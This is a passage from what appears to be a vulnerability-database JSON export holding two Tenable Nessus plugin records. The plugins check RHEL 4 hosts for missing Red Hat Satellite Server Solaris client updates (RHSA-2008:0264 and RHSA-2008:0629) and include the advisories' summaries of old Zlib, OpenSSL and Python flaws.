\"CVE-2006-2940\", \"CVE-2006-3738\", \"CVE-2006-4339\", \"CVE-2006-4343\", \"CVE-2006-4980\", \"CVE-2007-2052\", \"CVE-2007-4965\");\n script_bugtraq_id(19849, 20246, 20247, 20248, 20249, 22083, 25696, 28276);\n script_xref(name:\"RHSA\", value:\"2008:0264\");\n\n script_name(english:\"RHEL 4 : Solaris client in Satellite Server (RHSA-2008:0264)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Red Hat Network Satellite Server version 5.0.2 is now available. This\nupdate includes fixes for a number of security issues in Red Hat\nNetwork Satellite Server Solaris client components.\n\nThis update has been rated as having moderate security impact by the\nRed Hat Security Response Team.\n\nThis release corrects several security vulnerabilities in various\ncomponents shipped as part of the Red Hat Network Satellite Server\nSolaris client. In a typical operating environment, these components\nare not used by the Satellite Server in a vulnerable manner. These\nsecurity updates will reduce risk should these components be used by\nother applications.\n\nTwo denial-of-service flaws were fixed in ZLib. (CVE-2005-2096,\nCVE-2005-1849)\n\nMultiple flaws were fixed in OpenSSL. (CVE-2006-4343, CVE-2006-4339,\nCVE-2006-3738, CVE-2006-2940, CVE-2006-2937, CVE-2005-2969)\n\nMultiple flaws were fixed in Python. (CVE-2007-4965, CVE-2007-2052,\nCVE-2006-4980, CVE-2006-1542)\n\nUsers of Red Hat Network Satellite Server 5.0.1 are advised to upgrade\nto 5.0.2, which resolves these issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2005-1849\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2005-2096\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2005-2969\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-1542\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-2937\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-2940\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-3738\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-4339\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-4343\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-4980\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2007-2052\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2007-4965\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/errata/RHSA-2008:0264\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Update the affected rhn-solaris-bootstrap and / or\nrhn_solaris_bootstrap_5_0_2_3 packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(119, 189, 310, 399);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:rhn-solaris-bootstrap\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:rhn_solaris_bootstrap_5_0_2_3\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:4\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2005/07/06\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2008/05/20\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2010/01/10\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2010-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^4([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 4.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2008:0264\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n\n if (! (rpm_exists(release:\"RHEL4\", rpm:\"rhns-solaris-\"))) audit(AUDIT_PACKAGE_NOT_INSTALLED, \"Satellite Server\");\n\n if (rpm_check(release:\"RHEL4\", reference:\"rhn-solaris-bootstrap-5.0.2-3\")) flag++;\n if (rpm_check(release:\"RHEL4\", reference:\"rhn_solaris_bootstrap_5_0_2_3-1-0\")) flag++;\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"rhn-solaris-bootstrap / rhn_solaris_bootstrap_5_0_2_3\");\n }\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-17T13:06:14", "description": "Red Hat Network Satellite Server version 5.1.1 is now available. This\nupdate includes fixes for a number of security issues in Red Hat\nNetwork Satellite Server Solaris client components.\n\nThis update has been rated as having moderate security impact by the\nRed Hat Security Response Team.\n\nThis release corrects several security vulnerabilities in components\nshipped as part of the Red Hat Network Satellite Server Solaris\nclient. In a typical operating environment, these components are not\nused by the Satellite Server in a vulnerable manner. These security\nupdates will reduce risk should these components be used by other\napplications.\n\nSeveral flaws in Zlib were discovered. An attacker could create a\ncarefully-crafted compressed stream that would cause an application to\ncrash if the stream was opened by a user. (CVE-2005-2096,\nCVE-2005-1849)\n\nA buffer overflow was discovered in the OpenSSL\nSSL_get_shared_ciphers() utility function. An attacker could send a\nlist of ciphers to an application that used this function and overrun\na buffer (CVE-2006-3738).\n\nA flaw in the SSLv2 client code was discovered. If a client\napplication used OpenSSL to create an SSLv2 connection to a malicious\nserver, that server could cause the client to crash. (CVE-2006-4343)\n\nAn attack on OpenSSL PKCS #1 v1.5 signatures was discovered. Where an\nRSA key with exponent 3 was used an attacker could, potentially, forge\na PKCS #1 v1.5 signature that would be incorrectly verified by\nimplementations that do not check for excess data in the RSA\nexponentiation result of the signature. This issue affected\napplications that use OpenSSL to verify X.509 certificates as well as\nother uses of PKCS #1 v1.5. (CVE-2006-4339)\n\nOpenSSL contained a software work-around for a bug in SSL handling in\nMicrosoft Internet Explorer version 3.0.2. It is enabled in most\nservers that use OpenSSL to provide support for SSL and TLS. This\nwork-around was vulnerable to a man-in-the-middle attack which allowed\na remote user to force an SSL connection to use SSL 2.0, rather than a\nstronger protocol, such as SSL 3.0 or TLS 1.0. (CVE-2005-2969)\n\nDuring OpenSSL parsing of certain invalid ASN.1 structures, an error\ncondition was mishandled. This could result in an infinite loop which\nconsumed system memory (CVE-2006-2937).\n\nCertain public key types could take disproportionate amounts of time\nto process in OpenSSL, leading to a denial of service. (CVE-2006-2940)\n\nA flaw was discovered in the Python repr() function's handling of\nUTF-32/UCS-4 strings. If an application used the repr() function on\nuntrusted data, this could lead to a denial of service or, possibly,\nallow the execution of arbitrary code with the privileges of the\napplication using the flawed function. (CVE-2006-4980)\n\nA flaw was discovered in the strxfrm() function of Python's locale\nmodule. Strings generated by this function were not properly\nNULL-terminated. This could, potentially, cause disclosure of data\nstored in the memory of an application using this function.\n(CVE-2007-2052)\n\nMultiple integer overflow flaws were discovered in Python's imageop\nmodule. If an application used the imageop module to process untrusted\nimages, it could cause the application to crash, enter an infinite\nloop, or, possibly, execute arbitrary code with the privileges of the\nPython interpreter. (CVE-2007-4965)\n\nA stack-based buffer overflow was discovered in the Python\ninterpreter, which could allow a local user to gain privileges by\nrunning a script with a long name from the current working directory.\n(CVE-2006-1542)\n\nUsers of Red Hat Network Satellite Server should upgrade to these\nupdated packages, which contain backported patches to correct these\nissues.", "edition": 28, "published": "2010-01-10T00:00:00", "title": "RHEL 4 : Solaris client in Satellite Server (RHSA-2008:0629)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-2052", "CVE-2006-3738", "CVE-2006-2940", "CVE-2006-2937", "CVE-2005-1849", "CVE-2006-4343", "CVE-2005-2969", "CVE-2006-4339", "CVE-2006-1542", "CVE-2007-4965", "CVE-2006-4980", "CVE-2005-2096"], "modified": "2010-01-10T00:00:00", "cpe": ["cpe:/o:redhat:enterprise_linux:4", "p-cpe:/a:redhat:enterprise_linux:rhn-solaris-bootstrap", "p-cpe:/a:redhat:enterprise_linux:rhn_solaris_bootstrap_5_1_1_3"], "id": "REDHAT-RHSA-2008-0629.NASL", "href": "https://www.tenable.com/plugins/nessus/43839", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2008:0629. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(43839);\n script_version(\"1.25\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/14\");\n\n script_cve_id(\"CVE-2005-1849\", \"CVE-2005-2096\", \"CVE-2005-2969\", \"CVE-2006-1542\", \"CVE-2006-2937\", \"CVE-2006-2940\", \"CVE-2006-3738\", \"CVE-2006-4339\", \"CVE-2006-4343\", \"CVE-2006-4980\", \"CVE-2007-2052\", \"CVE-2007-4965\");\n script_bugtraq_id(19849, 20246, 20247, 20248, 20249, 25696);\n script_xref(name:\"RHSA\", value:\"2008:0629\");\n\n script_name(english:\"RHEL 4 : Solaris client in Satellite Server (RHSA-2008:0629)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Red Hat Network Satellite Server version 5.1.1 is now available. This\nupdate includes fixes for a number of security issues in Red Hat\nNetwork Satellite Server Solaris client components.\n\nThis update has been rated as having moderate security impact by the\nRed Hat Security Response Team.\n\nThis release corrects several security vulnerabilities in components\nshipped as part of the Red Hat Network Satellite Server Solaris\nclient. In a typical operating environment, these components are not\nused by the Satellite Server in a vulnerable manner. These security\nupdates will reduce risk should these components be used by other\napplications.\n\nSeveral flaws in Zlib were discovered. An attacker could create a\ncarefully-crafted compressed stream that would cause an application to\ncrash if the stream was opened by a user. (CVE-2005-2096,\nCVE-2005-1849)\n\nA buffer overflow was discovered in the OpenSSL\nSSL_get_shared_ciphers() utility function. An attacker could send a\nlist of ciphers to an application that used this function and overrun\na buffer (CVE-2006-3738).\n\nA flaw in the SSLv2 client code was discovered. If a client\napplication used OpenSSL to create an SSLv2 connection to a malicious\nserver, that server could cause the client to crash. (CVE-2006-4343)\n\nAn attack on OpenSSL PKCS #1 v1.5 signatures was discovered. Where an\nRSA key with exponent 3 was used an attacker could, potentially, forge\na PKCS #1 v1.5 signature that would be incorrectly verified by\nimplementations that do not check for excess data in the RSA\nexponentiation result of the signature. This issue affected\napplications that use OpenSSL to verify X.509 certificates as well as\nother uses of PKCS #1 v1.5. (CVE-2006-4339)\n\nOpenSSL contained a software work-around for a bug in SSL handling in\nMicrosoft Internet Explorer version 3.0.2. It is enabled in most\nservers that use OpenSSL to provide support for SSL and TLS. This\nwork-around was vulnerable to a man-in-the-middle attack which allowed\na remote user to force an SSL connection to use SSL 2.0, rather than a\nstronger protocol, such as SSL 3.0 or TLS 1.0. (CVE-2005-2969)\n\nDuring OpenSSL parsing of certain invalid ASN.1 structures, an error\ncondition was mishandled. This could result in an infinite loop which\nconsumed system memory (CVE-2006-2937).\n\nCertain public key types could take disproportionate amounts of time\nto process in OpenSSL, leading to a denial of service. (CVE-2006-2940)\n\nA flaw was discovered in the Python repr() function's handling of\nUTF-32/UCS-4 strings. If an application used the repr() function on\nuntrusted data, this could lead to a denial of service or, possibly,\nallow the execution of arbitrary code with the privileges of the\napplication using the flawed function. (CVE-2006-4980)\n\nA flaw was discovered in the strxfrm() function of Python's locale\nmodule. Strings generated by this function were not properly\nNULL-terminated. This could, potentially, cause disclosure of data\nstored in the memory of an application using this function.\n(CVE-2007-2052)\n\nMultiple integer overflow flaws were discovered in Python's imageop\nmodule. If an application used the imageop module to process untrusted\nimages, it could cause the application to crash, enter an infinite\nloop, or, possibly, execute arbitrary code with the privileges of the\nPython interpreter. (CVE-2007-4965)\n\nA stack-based buffer overflow was discovered in the Python\ninterpreter, which could allow a local user to gain privileges by\nrunning a script with a long name from the current working directory.\n(CVE-2006-1542)\n\nUsers of Red Hat Network Satellite Server should upgrade to these\nupdated packages, which contain backported patches to correct these\nissues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2005-1849\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2005-2096\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2005-2969\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-1542\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-2937\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-2940\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-3738\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-4339\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-4343\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2006-4980\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2007-2052\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2007-4965\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/errata/RHSA-2008:0629\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Update the affected rhn-solaris-bootstrap and / or\nrhn_solaris_bootstrap_5_1_1_3 packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(119, 189, 310, 399);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:rhn-solaris-bootstrap\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:rhn_solaris_bootstrap_5_1_1_3\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:4\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2005/07/06\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2008/08/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2010/01/10\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2010-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^4([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 4.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2008:0629\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n\n if (! (rpm_exists(release:\"RHEL4\", rpm:\"rhns-solaris-\"))) audit(AUDIT_PACKAGE_NOT_INSTALLED, \"Satellite Server\");\n\n if (rpm_check(release:\"RHEL4\", reference:\"rhn-solaris-bootstrap-5.1.1-3\")) flag++;\n if (rpm_check(release:\"RHEL4\", reference:\"rhn_solaris_bootstrap_5_1_1_3-1-0\")) flag++;\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"rhn-solaris-bootstrap / rhn_solaris_bootstrap_5_1_1_3\");\n }\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}
